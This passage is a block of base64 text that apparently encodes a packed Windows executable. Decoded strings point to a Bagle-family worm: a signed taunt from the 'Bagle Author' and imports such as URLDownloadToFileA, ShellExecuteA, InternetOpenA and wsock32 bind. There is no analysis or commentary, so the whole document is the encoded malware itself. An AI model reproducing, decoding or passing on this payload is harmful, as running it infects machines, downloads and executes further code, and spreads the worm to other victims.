yhJnEwrzEh7zFxXmkMu+70wjBvL7Xh2QDHzwwVaqO/+BHxtxCw0iY0PGxwN/KIf4DSsantsg qEH8ZBt18Oodtm38eocbyu88EdFKwdyC3oH6SnirUjNx+Y41c+kKRjO7SsgFmjjpJb1S8M1o SqjDakLwJqE4+v5ccDDi62TaEg3zetbAQQ1ZFuZvjALl+DPo6DXGE+CjQSmsDk0dooVazgEy jXjxUc0fJBzwTqgBrnTeejGxofjZDeIRHxKS2Vi65zS/u2VaYqc5ks4P3VhyOdLsjgRfHxle giVePN2Rp6GSKVo/V6K5z/eMrcIfshJhBZ7n+UoOBEtGPSg4xmPwHoaS2rQ1pfKB53u9mUYN qwp+WXdjQFUjDUI2VkzCjcP40xKPBfCqPjXyormntiouXVKfjDODNbMKZu8MdSeyMwZv/1G1 9nfZ2LNzHf1OkmswhlJY1zKKcwOpmoYgxHpM/QRyaH9rolxUF/IE2o75vREJCLun7XDlPCKo WttIcuWGUIFn0POWEcnDBHqBof0DscdghzockvX1rBOMejEajKc5aQvO3A8YvXr60liUe2eA byN/uuu6a3mq9Uw6SRWgcvjxow2LccPB9fIgHk2MjM27utJLlO93R2OH9s31+PCv625uBMqI w43/0hHcHiaDXha4ZW1mxgXM+w7Np/5j/Lq2ZHYa8Z2RAYTGRIv7hDD1BoEUyhItMyulR2Tk 2qhDWkO6I0uxmLA8De6QZ2SQobTU8As26+bFBU+y5zDhtnoP70+XOE+FfgbY5OHDJhJ+/FwC Oc7SzDACXzyUS+RsVs8qpfyZOLEL2NMhkpUU1x0RuiN4Fhxx7yN5OPyswRE0VKlsqLpsWBcx ARHkFbbZgpspqQ6+XSSQkgH5bZKEYDb/hHY2GFIrgltuo5ENG08HbDnJw14g6+plif/YAjvs 0vn/6xOys5ktRZ4FmhhikP3FzJKWWhOYoX7RmgzPimMGPC85LIxWHP7mRoaSgyj+pqKZ5GFJ Ub1abhZCBhn2eh7szFDPvj8mKUAKYJ6RZ7pVxl7lRplaXRbLJlwwyn1R8PkWz0G8BRkTJFdd unUg3JCdT4Tez2Xme1oHZCP4aws7yCFugP5iu0tnrVECYyLskluJkun5OrZwBO0+NiIOQ6N8 nuf0T4YFOY9ykaVcD1eOaxvZXisaEBZb3giWkWVkX+FT6FerxFlG80slGOJSOKg5LphiOPB+ bfaDDEk6Et9VmES0U38SDO4BvtaWGzugCtINa3Bme1LzDgjL72zA+QuFuQ53hxJD8j4cgLNM Hp4fGqp7kHuC6upTEq+Ri7HeiJ+Krp5qikwTVZgrhlEd9fkEIdIk0og2cC33o/tR2k+hDiOw 2W3jCwSpIPInrf/g2cEWey3NijYZn+2WpdBwAAANCgFJbiB/sP//YSBkaWZmaWN1bHQgd29y bGQVbmFtZWxlv91c+3NzIHRpCBMcYW4hdG8gc3X+b3/3cnZpdhJTbywgeW91GGlsbCBiZSBt aW639tvvFS0tIEJhZzkgQXV0aE8iMjlht2/uLjA0AglHZXJtRHkufW//t+9qAAHojkCQo2yZ QABoDzgE/zUE3+0a33BAFCGKBTZsBBaxkGpk2v7/dwdBbuvxycNVi+xX/3UIX+sIR/YIgO1u /5ezBTt9DHXzX8nCCEJrT0cAEPsg349BQChok6gOcIEFcVAebu3/ZQAA6ZX+7//M/yXsYA8F KGEZGRl5JCAcGBkZGRkUEAwI8hwZGQQA/GD4MjIyMvTw6OQyMjIy4JxUWDIyMjJcYGRoMjIy MmxwdHg5NjIyfICEv4hgns/n84xgkGCUYJhgLPl8PkegYKRgqGCsYMjIyPOwYLS4vMjIyMjA xMjMycjIyNDU2Nx8Pp/fYYlwYWxhaGFkYcjY5PmoYaQFnMjIyMi0lJCMyMjIyJiwuKzIyMjI vDg0QOHIyMhEUEhMYdlkZGTkeIR8gDIyMsKXFBAI5DthMgzZYAUgZGRkZCQoLDBkZGRkNDg8 QGFmZGRESEwAAiRUQSKaqaL6HcP+9t8+EASMT8vDz9QBy8/M1Mj6AG3///+ptbyurbuov6au k5ef+p6IjJ6elpbUn4ILptn//4EMta+uqrWprtS/or/6tLe7s7QJ/v/f/rWorrW0pQ2uv6i0 v66lqb+5r6XJ1MqlzsrN375tzyCqvAqlYKXDwqUkpbe/pWu3bdjIsRgMqS+0vTkQ+c9uB6i1 RbmuDKm5sr++ych2a2c/rqy+twmsqBjLzAy19v82sTiztdetqKrXzsjL10gKvbnug5Sxs7a2 TLleX66vqreZO7Yvyxe2vhUJHLu2J+QPc68Msb61rbTIyn0sNmsAEEIKuba/uyP8P7aluQu7 rIqIlY6fmY7Dgh652MJZ+7e9qL6zHii3E8ql5GTtNrnnw6JNDLSuD/s2m6wGbLjLwssLrr7P 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAC6isYnEII2QNc5ZP QHqOKsIQIsfCCS8eIK5mwW+oPgsqYGQLvJWOk469WoFplnJZUBksai4KGgiKFRA4XmO+mAZo EoR/OAm+Z2eko7iICAo/eKKmcQ+HOS50kG0GeH4PZLcKRCRZPYVYELkUSGJlI5W9QWFgnQAR pEJLZDmoDj+nfB+7MSpFV5YyCLqeCWoUJqEtn8dRiXoCbYqktG0+P2t7IUbDtprEmWwArZK7 ekG0sGSMSbhAnj2bt7uxm3y7VRK/vxuaqKd+aXlbr3BlQK5jYKWxuLhmnJ+wpY80naKPHIWF bBu7A1xZobBpsTiYJjdTsoAMTbarLkwmDy0Cd60SIHqlDymBvlEQEmOSKRJUHE0CaV12GGan MwPFnztxDYmrRDqhYwyuTZqFrzx+d1a/nTZOoQVLUHBMfgYlhwuMFQgXsAoKaLRmjwtSLlGZ sK6Rp7meqkKeQ6eLjJENRDsNbJIIizQGiU4XPXB6USQ6SVsBOmVfAZeCG0QDagTATnQqqCpw AhZwrz+ocp2TQ7qqjbFjxCKQqmQcTnocQAobSzURlraDIjpDwThbKRSlgrAUZ46Sx6CCjavC KpFzDooKn2MvplgevXCKY3eUxRAgLQyUJzZ+UVPAkpdBa1ouEZq3QYaWi4bEXDaFJBkEf4pQ MpJ6SgwcXzObNn1gqhCusWqwX7QahFEdxZ4XXlCgZZSfh26ySsU8S5RGnjsETn+oaBuJp7Cs TkA7TJmRT1+cmyZKqhhJCoSBp50PDRgbAl46S6atAIYPv1FTiTkwHIELGK1Ra7+oj2iQeXfD YjNUG7CcWMeIFkkfTbJ0dreTIBy/Ezx4mIAjGE6QFb21UE1hTh9Bg0LEV4EeuJiVeQd9Kyt3 